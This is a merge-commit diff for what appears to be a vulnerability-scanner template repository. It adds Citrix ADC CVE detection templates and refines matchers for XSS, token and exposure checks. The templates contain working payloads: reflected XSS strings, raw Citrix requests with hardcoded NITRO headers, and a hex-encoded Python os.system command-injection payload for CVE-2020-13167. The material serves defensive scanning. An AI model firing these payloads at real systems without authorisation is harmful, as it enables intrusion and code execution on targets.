Merge pull request #233 from bauthard/master

template for CVE-2020-8193 detection

basic-detections/general-tokens.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}'
+
+    matchers-condition: and
     matchers:
       - type: dsl
         dsl:

cves/CVE-2017-7529.yaml

@@ -26,5 +26,5 @@ requests:
           - 206
       - type: word
         words:
-          - nginx
-        part: header
+          - Content-Range
+        part: all

cves/CVE-2018-19439.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-19439
 
 info:
   name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: high
 
 requests:
@@ -12,5 +12,5 @@ requests:
     matchers:
       - type: word
         words:
-          - "<script>alert(1337)</script>"
+          - "<script>alert(1337)</script><!--</TITLE>"
         part: body

cves/CVE-2018-20824.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-20824
 
 info:
   name: Atlassian Jira WallboardServlet XSS
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: medium
 
 requests:
@@ -14,7 +14,7 @@ requests:
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - alert(document.domain)
+      - type: regex
+        regex:
+          - (?mi)timeout:\salert\(document\.domain\)
         part: body

cves/CVE-2018-5230.yaml

@@ -16,5 +16,5 @@ requests:
           - 200
       - type: word
         words:
-          - "javascript:alert(1337)"
+          - "SRC=\"javascript:alert(1337)\">"
         part: body

cves/CVE-2020-13167.yaml

@@ -23,9 +23,9 @@ info:
 requests:
   - method: GET
     path:
-      # Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/nonexistent
-      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6e6f6e6578697374656e74%27.decode%28%27hex%27%29%29%23&timeout=5"
-      - "{{BaseURL}}/webadmin/nonexistent"
+      # Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
+      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
+      - "{{BaseURL}}/webadmin/out"
     headers:
       Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
       User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"

cves/CVE-2020-8115.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-8115
 
 info:
   name: Revive Adserver XSS
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: medium
 
 requests:
@@ -14,7 +14,7 @@ requests:
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "alert(1337)"
+      - type: regex
         part: body
+        regex:
+          - (?mi)window\.location\.replace\(".*alert\(1337\)

cves/CVE-2020-8191.yaml

@@ -0,0 +1,34 @@
+id: CVE-2020-8191
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected XSS
+  # Leads to RCE
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /menu/stapp HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Length: 96
+        Content-Type: application/x-www-form-urlencoded
+        X-NITRO-USER: xpyZxwy6
+
+        sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</title><script>alert(31337)</script>"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-8193.yaml

@@ -0,0 +1,32 @@
+id: CVE-2020-8193
+
+info:
+  name: Citrix unauthenticated LFI
+  author: pdteam
+  severity: high
+
+  # Source:- https://github.com/jas502n/CVE-2020-8193
+  # This template covers only detection part, use the above exploit for the exploit confirmation.
+
+requests:
+  - raw:
+      - |
+        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+        X-NITRO-USER: xpyZxwy6
+        X-NITRO-PASS: xWXHUJ56
+
+        <appfwprofile><login></login></appfwprofile>
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Set-Cookie: SESSID"
+        part: header
+
+      - type: status
+        status:
+          - 406

cves/CVE-2020-8194.yaml

@@ -0,0 +1,34 @@
+id: CVE-2020-8194
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected Code Injection
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Cookie: startupapp=st
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<jnlp codebase=\"nonexistent.1337\">"
+        part: body
+      - type: word
+        words:
+          - "application/x-java-jnlp-file"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-8512.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-8512
 
 info:
   name: IceWarp WebMail XSS
-  author: pdnuclei
+  author: pdnuclei & dwisiswant0
   severity: medium
 
 # source:- https://www.exploit-db.com/exploits/47988
@@ -13,9 +13,12 @@ requests:
     path:
       - '{{BaseURL}}/webmail/?color="><svg/onload=alert(document.domain)>"'
       - '{{BaseURL}}:32000/webmail/?color="><svg/onload=alert(document.domain)>"'
-
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "<svg/onload=alert(document.domain)>"
+          - "<svg/onload=alert(document.domain)>\"\">"
         part: body
+      - type: status
+        status:
+          - 200

files/jolokia.yaml

@@ -1,8 +1,8 @@
-id: jolokia instance
+id: jolokia-instance
 
 info:
   name: Jolokia Version Disclosure
-  author: mavericknerd
+  author: mavericknerd & dwisiswant0
   severity: low
 
 requests:
@@ -14,7 +14,10 @@ requests:
     matchers:
       - type: word
         words:
+          - '"timestamp":'
+          - '"protocol":'
           - '"agent":'
+        condition: and
       - type: status
         status:
           - 200

files/laravel-env.yaml

@@ -2,7 +2,7 @@ id: laravel-env
 
 info:
   name: Laravel .env file
-  author: pxmme1337
+  author: pxmme1337 & dwisiswant0
   severity: medium
 
 requests:
@@ -11,9 +11,9 @@ requests:
       - "{{BaseURL}}/.env"
     matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "APP_NAME"
+      - type: regex
+        regex:
+          - "(?m)^APP_(NAME|ENV|KEY|DEBUG|URL)="
       - type: status
         status:
           - 200

files/telerik-dialoghandler-detect.yaml

@@ -10,7 +10,7 @@ requests:
       - '{{BaseURL}}/Telerik.Web.UI.DialogHandler.aspx'
     headers:
       User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
-    matchers-codition: and
+    matchers-condition: and
     matchers:
       - type: status
         status:

panels/docker-api.yaml

@@ -2,16 +2,28 @@ id: exposed-docker-api
 
 info:
   name: Exposed Docker API
-  author: furkansenan
+  author: furkansenan & dwisiswant0
   severity: informative
 
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}:2376/version'
+      - "http://{{Hostname}}/version"
+      - "http://{{Hostname}}:2376/version"
+      - "http://{{Hostname}}/v1.24/version"
+      - "http://{{Hostname}}:2376/v1.24/version"
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "Version"
-          - "Docker"
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "KernelVersion"
+          - "BuildTime"
+        condition: and
         part: body
+      - type: status
+        status:
+          - 200

security-misconfiguration/front-page-misconfig.yaml

@@ -3,8 +3,8 @@ id: front-page-misconfig
 info:
   name: FrontPage configuration information discloure
   author: JTeles
-  severity: low
-  # reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
+  severity: info
+  # Reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
 
 requests:
   - method: GET

security-misconfiguration/rack-mini-profiler.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/?pp=env"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:

security-misconfiguration/springboot-detect.yaml

@@ -95,6 +95,7 @@ requests:
         words:
           - "X-Application-Context"
           - "application/json"
+          - "application/vnd.spring-boot.actuator.v2+json"
           - "hprof"
         condition: or
         part: header

tokens/amazon-mws-auth-token-value.yaml

@@ -11,6 +11,8 @@ requests:
         regex:
           - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
         type: regex
+
+    matchers-condition: and
     matchers:
       - part: body
         regex:

tokens/aws-access-key-value.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/google-api-key.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/http-username-password.yaml

@@ -12,6 +12,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/mailchimp-api-key.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/slack-access-token.yaml

@@ -12,6 +12,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body